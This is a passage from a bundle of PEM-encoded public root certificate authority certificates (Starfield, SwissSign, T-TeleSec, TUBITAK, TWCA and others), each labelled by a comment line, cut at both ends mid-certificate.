      lrenfna84xtSGc4RHwsENPXY9Wk8d/Nk9A2qhd7gCVAEF5aEt8iKvE1y/By7z/MG
      TfmfZPd+pmaGNXHIEYBMwXFAWB6+oHP2/D5Q4eAvJj1+XCO1eXDe+uDRpdYMQXF7
      9+qMHIjH7Iv10S9VlkZ8WjtYO/u62C21Jdp6Ts9EriGmnpjKIG58u4iFW/vAEGK7
      8vknR+/RiTlDxN/e4UG/VHMgly1s2vPUB6PmudhvrvyMGS7TZ2crldtYXLVqAvO4
      g160a75BflcJdURQVc1aEWEhCmHCqYj9E7wtiS/NYeCVvsq1e+F7NGcLH7YMx3we
      GVPKp7FKFSBWFHA9K4IsD50VHUeAR/94mQ4xr28+j+2GaR57GIgUssL8gjMunEst
      +3A7caoreyYn8xrC3PsXuKHqy6C0rtOUfnrQq8PsOC0RLoi/1D+tEjtCrI8Cbn3M
      0V9hvqG8OmpI6iZVIhZdXw3/JzOfGAN0iltSIEdrRU0id4xVJ/CvHozJgyJUt5rQ
      T9nO/NkuHJYosQLTA70lUhw0Zk8jq/R3gpYd0VcwCBEF/VfR2ccCAwEAAaNCMEAw
      HQYDVR0OBBYEFGQUfPxYchamCik0FW8qy7z8r6irMA4GA1UdDwEB/wQEAwIBBjAP
      BgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDAUAA4ICAQDcAiMI4u8hOscNtybS
      YpOnpSNyByCCYN8Y11StaSWSntkUz5m5UoHPrmyKO1o5yGwBQ8IibQLwYs1OY0PA
      FNr0Y/Dq9HHuTofjcan0yVflLl8cebsjqodEV+m9NU1Bu0soo5iyG9kLFwfl9+qd
      9XbXv8S2gVj/yP9kaWJ5rW4OH3/uHWnlt3Jxs/6lATWUVCvAUm2PVcTJ0rjLyjQI
      UYWg9by0F1jqClx6vWPGOi//lkkZhOpn2ASxYfQAW0q3nHE3GYV5v4GwxxMOdnE+
      OoAGrgYWp421wsTL/0ClXI2lyTrtcoHKXJg80jQDdwj98ClZXSEIx2C/pHF7uNke
      gr4Jr2VvKKu/S7XuPghHJ6APbw+LP6yVGPO5DtxnVW5inkYO0QR4ynKudtml+LLf
      iAlhi+8kTtFZP1rUPcmTPCtk9YENFpb3ksP+MW/oKjJ0DvRMmEoYDjBU1cXrvMUV
      nuiZIesnKwkK2/HmcBhWuwzkvvnoEKQTkrgc4NtnHVMDpCKn3F2SEDzq//wbEBrD
      2NCcnWXL0CsnMQMeNuE9dnUM/0Umud1RvCPHX9jYhxBAEg09ODfnRDwYwFMJZI//
      1ZqmfHAuc1Uh6N//g7kdPjIe1qZ9LPFm6Vwdp6POXiUyK+OVrCoHzrQoeIY8Laad
      TdJ0MN1kURXbg4NR16/9M51NZg==
      -----END CERTIFICATE-----

      # Starfield Class 2 CA
      -----BEGIN CERTIFICATE-----
      MIIEDzCCAvegAwIBAgIBADANBgkqhkiG9w0BAQUFADBoMQswCQYDVQQGEwJVUzEl
      MCMGA1UEChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMp
      U3RhcmZpZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwHhcNMDQw
      NjI5MTczOTE2WhcNMzQwNjI5MTczOTE2WjBoMQswCQYDVQQGEwJVUzElMCMGA1UE
      ChMcU3RhcmZpZWxkIFRlY2hub2xvZ2llcywgSW5jLjEyMDAGA1UECxMpU3RhcmZp
      ZWxkIENsYXNzIDIgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEgMA0GCSqGSIb3
      DQEBAQUAA4IBDQAwggEIAoIBAQC3Msj+6XGmBIWtDBFk385N78gDGIc/oav7PKaf
      8MOh2tTYbitTkPskpD6E8J7oX+zlJ0T1KKY/e97gKvDIr1MvnsoFAZMej2YcOadN
      +lq2cwQlZut3f+dZxkqZJRRU6ybH838Z1TBwj6+wRir/resp7defqgSHo9T5iaU0
      X9tDkYI22WY8sbi5gv2cOj4QyDvvBmVmepsZGD3/cVE8MC5fvj13c7JdBmzDI1aa
      K4UmkhynArPkPw2vCHmCuDY96pzTNbO8acr1zJ3o/WSNF4Azbl5KXZnJHoe0nRrA
      1W4TNSNe35tfPe/W93bC6j67eA0cQmdrBNj41tpvi/JEoAGrAgEDo4HFMIHCMB0G
      A1UdDgQWBBS/X7fRzt0fhvRbVazc1xDCDqmI5zCBkgYDVR0jBIGKMIGHgBS/X7fR
      zt0fhvRbVazc1xDCDqmI56FspGowaDELMAkGA1UEBhMCVVMxJTAjBgNVBAoTHFN0
      YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAsTKVN0YXJmaWVsZCBD
      bGFzcyAyIENlcnRpZmljYXRpb24gQXV0aG9yaXR5ggEAMAwGA1UdEwQFMAMBAf8w
      DQYJKoZIhvcNAQEFBQADggEBAAWdP4id0ckaVaGsafPzWdqbAYcaT1epoXkJKtv3
      L7IezMdeatiDh6GX70k1PncGQVhiv45YuApnP+yz3SFmH8lU+nLMPUxA2IGvd56D
      eruix/U0F47ZEUD0/CwqTRV/p2JdLiXTAAsgGh1o+Re49L2L7ShZ3U0WixeDyLJl
      xy16paq8U4Zt3VekyvggQQto8PT7dL5WXXp59fkdheMtlb71cZBDzI0fmgAKhynp
      VSJYACPq4xJDKVtHCN2MQWplBqjlIapBtJUhlbl90TSrE9atvNziPTnNvT51cKEY
      WQPJIrSPnNVeKtelttQKbfi3QBFGmh95DmK/D5fs4C8fF5Q=
      -----END CERTIFICATE-----

      # Starfield Root Certificate Authority - G2
      -----BEGIN CERTIFICATE-----
      MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMx
      EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
      HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVs
      ZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAw
      MFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6
      b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQgVGVj
      aG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZp
      Y2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
      ggEBAL3twQP89o/8ArFvW59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMg
      nLRJdzIpVv257IzdIvpy3Cdhl+72WoTsbhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1
      HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNkN3mSwOxGXn/hbVNMYq/N
      Hwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7NfZTD4p7dN
      dloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0
      HZbUJtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAO
      BgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0G
      CSqGSIb3DQEBCwUAA4IBAQARWfolTwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjU
      sHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx4mcujJUDJi5DnUox9g61DLu3
      4jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUwF5okxBDgBPfg
      8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K
      pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1
      mMpYjn0q7pBZc2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0
      -----END CERTIFICATE-----

      # Starfield Services Root Certificate Authority - G2
      -----BEGIN CERTIFICATE-----
      MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMx
      EDAOBgNVBAgTB0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoT
      HFN0YXJmaWVsZCBUZWNobm9sb2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVs
      ZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5
      MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNVBAYTAlVTMRAwDgYD
      VQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFy
      ZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2Vy
      dmljZXMgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI
      hvcNAQEBBQADggEPADCCAQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20p
      OsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm2
      8xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4PahHQUw2eeBGg6345AWh1K
      Ts9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLPLJGmpufe
      hRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk
      6mFBrMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAw
      DwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+q
      AdcwKziIorhtSpzyEZGDMA0GCSqGSIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMI
      bw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPPE95Dz+I0swSdHynVv/heyNXB
      ve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTyxQGjhdByPq1z
      qwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd
      iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn
      0q23KXB56jzaYyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCN
      sSi6
      -----END CERTIFICATE-----

      # SwissSign Gold CA - G2
      -----BEGIN CERTIFICATE-----
      MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNV
      BAYTAkNIMRUwEwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2ln
      biBHb2xkIENBIC0gRzIwHhcNMDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBF
      MQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dpc3NTaWduIEFHMR8wHQYDVQQDExZT
      d2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIIC
      CgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUqt2/8
      76LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+
      bbqBHH5CjCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c
      6bM8K8vzARO/Ws/BtQpgvd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqE
      emA8atufK+ze3gE/bk3lUIbLtK/tREDFylqM2tIrfKjuvqblCqoOpd8FUrdVxyJd
      MmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvRAiTysybUa9oEVeXBCsdt
      MDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuendjIj3o02y
      MszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69y
      FGkOpeUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPi
      aG59je883WX0XaxR7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxM
      gI93e2CaHt+28kgeDrpOVG2Y4OGiGqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCB
      qTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUWyV7
      lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64OfPAeGZe6Drn
      8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov
      L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe6
      45R88a7A3hfm5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczO
      UYrHUDFu4Up+GC9pWbY9ZIEr44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5
      O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOfMke6UiI0HTJ6CVanfCU2qT1L2sCC
      bwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6mGu6uLftIdxf+u+yv
      GPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxpmo/a
      77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCC
      hdiDyyJkvC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid3
      92qgQmwLOM7XdVAyksLfKzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEpp
      Ld6leNcG2mqeSz53OiATIgHQv2ieY2BrNU0LbbqhPcCT4H8js1WtciVORvnSFu+w
      ZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6LqjviOvrv1vA+ACOzB2+htt
      Qc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ
      -----END CERTIFICATE-----

      # SwissSign Silver CA - G2
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # T-TeleSec GlobalRoot Class 2
      -----BEGIN CERTIFICATE-----
      MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
      KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
      BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
      YyBHbG9iYWxSb290IENsYXNzIDIwHhcNMDgxMDAxMTA0MDE0WhcNMzMxMDAxMjM1
      OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
      aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
      ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDIwggEiMA0G
      CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCqX9obX+hzkeXaXPSi5kfl82hVYAUd
      AqSzm1nzHoqvNK38DcLZSBnuaY/JIPwhqgcZ7bBcrGXHX+0CfHt8LRvWurmAwhiC
      FoT6ZrAIxlQjgeTNuUk/9k9uN0goOA/FvudocP05l03Sx5iRUKrERLMjfTlH6VJi
      1hKTXrcxlkIF+3anHqP1wvzpesVsqXFP6st4vGCvx9702cu+fjOlbpSD8DT6Iavq
      jnKgP6TeMFvvhk1qlVtDRKgQFRzlAVfFmPHmBiiRqiDFt1MmUUOyCxGVWOHAD3bZ
      wI18gfNycJ5v/hqO2V81xrJvNHy+SE/iWjnX2J14np+GPgNeGYtEotXHAgMBAAGj
      QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS/
      WSA2AHmgoCJrjNXyYdK4LMuCSjANBgkqhkiG9w0BAQsFAAOCAQEAMQOiYQsfdOhy
      NsZt+U2e+iKo4YFWz827n+qrkRk4r6p8FU3ztqONpfSO9kSpp+ghla0+AGIWiPAC
      uvxhI+YzmzB6azZie60EI4RYZeLbK4rnJVM3YlNfvNoBYimipidx5joifsFvHZVw
      IEoHNN/q/xWA5brXethbdXwFeilHfkCoMRN3zUA7tFFHei4R40cR3p1m0IvVVGb6
      g1XqfMIpiRvpb7PO4gWEyS8+eIVibslfwXhjdFjASBgMmTnrpMwatXlajRWc2BQN
      9noHV8cigwUtPJslJj0Ys6lDfMjIq2SPDqO/nBudMNva0Bkuqjzx+zOAduTNrRlP
      BSeOE6Fuwg==
      -----END CERTIFICATE-----

      # T-TeleSec GlobalRoot Class 3
      -----BEGIN CERTIFICATE-----
      MIIDwzCCAqugAwIBAgIBATANBgkqhkiG9w0BAQsFADCBgjELMAkGA1UEBhMCREUx
      KzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnByaXNlIFNlcnZpY2VzIEdtYkgxHzAd
      BgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50ZXIxJTAjBgNVBAMMHFQtVGVsZVNl
      YyBHbG9iYWxSb290IENsYXNzIDMwHhcNMDgxMDAxMTAyOTU2WhcNMzMxMDAxMjM1
      OTU5WjCBgjELMAkGA1UEBhMCREUxKzApBgNVBAoMIlQtU3lzdGVtcyBFbnRlcnBy
      aXNlIFNlcnZpY2VzIEdtYkgxHzAdBgNVBAsMFlQtU3lzdGVtcyBUcnVzdCBDZW50
      ZXIxJTAjBgNVBAMMHFQtVGVsZVNlYyBHbG9iYWxSb290IENsYXNzIDMwggEiMA0G
      CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC9dZPwYiJvJK7genasfb3ZJNW4t/zN
      8ELg63iIVl6bmlQdTQyK9tPPcPRStdiTBONGhnFBSivwKixVA9ZIw+A5OO3yXDw/
      RLyTPWGrTs0NvvAgJ1gORH8EGoel15YUNpDQSXuhdfsaa3Ox+M6pCSzyU9XDFES4
      hqX2iys52qMzVNn6chr3IhUciJFrf2blw2qAsCTz34ZFiP0Zf3WHHx+xGwpzJFu5
      ZeAsVMhg02YXP+HMVDNzkQI6pn97djmiH5a2OK61yJN0HZ65tOVgnS9W0eDrXltM
      EnAMbEQgqxHY9Bn20pxSN+f6tsIxO0rUFJmtxxr1XV/6B7h8DR/Wgx6zAgMBAAGj
      QjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0GA1UdDgQWBBS1
      A/d2O2GCahKqGFPrAyGUv/7OyjANBgkqhkiG9w0BAQsFAAOCAQEAVj3vlNW92nOy
      WL6ukK2YJ5f+AbGwUgC4TeQbIXQbfsDuXmkqJa9c1h3a0nnJ85cp4IaH3gRZD/FZ
      1GSFS5mvJQQeyUapl96Cshtwn5z2r3Ex3XsFpSzTucpH9sry9uetuUg/vBa3wW30
      6gmv7PO15wWeph6KU1HWk4HMdJP2udqmJQV0eVp+QD6CSyYRMG7hP0HHRwA11fXT
      91Q+gT3aSWqas+8QPebrb9HIIkfLzM8BMZLZGOMivgkeGj5asuRrDFR6fUNOuIml
      e9eiPZaGzPImNC1qkp2aGtAw4l1OBLBfiyB+d8E9lYLRRpo7PHi4b6HQDWSieB4p
      TpPDpFQUWw==
      -----END CERTIFICATE-----

      # TUBITAK Kamu SM SSL Kok Sertifikasi - Surum 1
      -----BEGIN CERTIFICATE-----
      MIIEYzCCA0ugAwIBAgIBATANBgkqhkiG9w0BAQsFADCB0jELMAkGA1UEBhMCVFIx
      GDAWBgNVBAcTD0dlYnplIC0gS29jYWVsaTFCMEAGA1UEChM5VHVya2l5ZSBCaWxp
      bXNlbCB2ZSBUZWtub2xvamlrIEFyYXN0aXJtYSBLdXJ1bXUgLSBUVUJJVEFLMS0w
      KwYDVQQLEyRLYW11IFNlcnRpZmlrYXN5b24gTWVya2V6aSAtIEthbXUgU00xNjA0
      BgNVBAMTLVRVQklUQUsgS2FtdSBTTSBTU0wgS29rIFNlcnRpZmlrYXNpIC0gU3Vy
      dW0gMTAeFw0xMzExMjUwODI1NTVaFw00MzEwMjUwODI1NTVaMIHSMQswCQYDVQQG
      EwJUUjEYMBYGA1UEBxMPR2ViemUgLSBLb2NhZWxpMUIwQAYDVQQKEzlUdXJraXll
      IEJpbGltc2VsIHZlIFRla25vbG9qaWsgQXJhc3Rpcm1hIEt1cnVtdSAtIFRVQklU
      QUsxLTArBgNVBAsTJEthbXUgU2VydGlmaWthc3lvbiBNZXJrZXppIC0gS2FtdSBT
      TTE2MDQGA1UEAxMtVFVCSVRBSyBLYW11IFNNIFNTTCBLb2sgU2VydGlmaWthc2kg
      LSBTdXJ1bSAxMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr3UwM6q7
      a9OZLBI3hNmNe5eA027n/5tQlT6QlVZC1xl8JoSNkvoBHToP4mQ4t4y86Ij5iySr
      LqP1N+RAjhgleYN1Hzv/bKjFxlb4tO2KRKOrbEz8HdDc72i9z+SqzvBV96I01INr
      N3wcwv61A+xXzry0tcXtAA9TNypN9E8Mg/uGz8v+jE69h/mniyFXnHrfA2eJLJ2X
      YacQuFWQfw4tJzh03+f92k4S400VIgLI4OD8D62K18lUUMw7D8oWgITQUVbDjlZ/
      iSIzL+aFCr2lqBs23tPcLG07xxO9WSMs5uWk99gL7eqQQESolbuT1dCANLZGeA4f
      AJNG4e7p+exPFwIDAQABo0IwQDAdBgNVHQ4EFgQUZT/HiobGPN08VFw1+DrtUgxH
      V8gwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEL
      BQADggEBACo/4fEyjq7hmFxLXs9rHmoJ0iKpEsdeV31zVmSAhHqT5Am5EM2fKifh
      AHe+SMg1qIGf5LgsyX8OsNJLN13qudULXjS99HMpw+0mFZx+CFOKWI3QSyjfwbPf
      IPP54+M638yclNhOT8NrF7f3cuitZjO1JVOr4PhMqZ398g26rrnZqsZr+ZO7rqu4
      lzwDGrpDxpa5RXI4s6ehlj2Re37AIVNMh+3yC1SVUZPVIqUNivGTDj5UDrDYyU7c
      8jEyVupk+eq1nRZmQnLzf9OxMUP8pI4X8W0jq5Rm+K37DwhuJi1/FwcJsoz7UMCf
      lo3Ptv0AnVoUmr8CRPXBwp8iXqIPoeM=
      -----END CERTIFICATE-----

      # TWCA Global Root CA
      -----BEGIN CERTIFICATE-----
      MIIFQTCCAymgAwIBAgICDL4wDQYJKoZIhvcNAQELBQAwUTELMAkGA1UEBhMCVFcx
      EjAQBgNVBAoTCVRBSVdBTi1DQTEQMA4GA1UECxMHUm9vdCBDQTEcMBoGA1UEAxMT
      VFdDQSBHbG9iYWwgUm9vdCBDQTAeFw0xMjA2MjcwNjI4MzNaFw0zMDEyMzExNTU5
      NTlaMFExCzAJBgNVBAYTAlRXMRIwEAYDVQQKEwlUQUlXQU4tQ0ExEDAOBgNVBAsT
      B1Jvb3QgQ0ExHDAaBgNVBAMTE1RXQ0EgR2xvYmFsIFJvb3QgQ0EwggIiMA0GCSqG
      SIb3DQEBAQUAA4ICDwAwggIKAoICAQCwBdvI64zEbooh745NnHEKH1Jw7W2CnJfF
      10xORUnLQEK1EjRsGcJ0pDFfhQKX7EMzClPSnIyOt7h52yvVavKOZsTuKwEHktSz
      0ALfUPZVr2YOy+BHYC8rMjk1Ujoog/h7FsYYuGLWRyWRzvAZEk2tY/XTP3VfKfCh
      MBwqoJimFb3u/Rk28OKRQ4/6ytYQJ0lM793B8YVwm8rqqFpD/G2Gb3PpN0Wp8DbH
      zIh1HrtsBv+baz4X7GGqcXzGHaL3SekVtTzWoWH1EfcFbx39Eb7QMAfCKbAJTibc
      46KokWofwpFFiFzlmLhxpRUZyXx1EcxwdE8tmx2RRP1WKKD+u4ZqyPpcC1jcxkt2
      yKsi2XMPpfRaAok/T54igu6idFMqPVMnaR1sjjIsZAAmY2E2TqNGtz99sy2sbZCi
      laLOz9qC5wc0GZbpuCGqKX6mOL6OKUohZnkfs8O1CWfe1tQHRvMq2uYiN2DLgbYP
      oA/pyJV/v1WRBXrPPRXAb94JlAGD1zQbzECl8LibZ9WYkTunhHiVJqRaCPgrdLQA
      BDzfuBSO6N+pjWxnkjMdwLfS7JLIvgm/LCkFbwJrnu+8vyq8W8BQj0FwcYeyTbcE
      qYSjMq+u7msXi7Kx/mzhkIyIqJdIzshNy/MGz19qCkKxHh53L46g5pIOBvwFItIm
      4TFRfTLcDwIDAQABoyMwITAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
      /zANBgkqhkiG9w0BAQsFAAOCAgEAXzSBdu+WHdXltdkCY4QWwa6gcFGn90xHNcgL
      1yg9iXHZqjNB6hQbbCEAwGxCGX6faVsgQt+i0trEfJdLjbDorMjupWkEmQqSpqsn
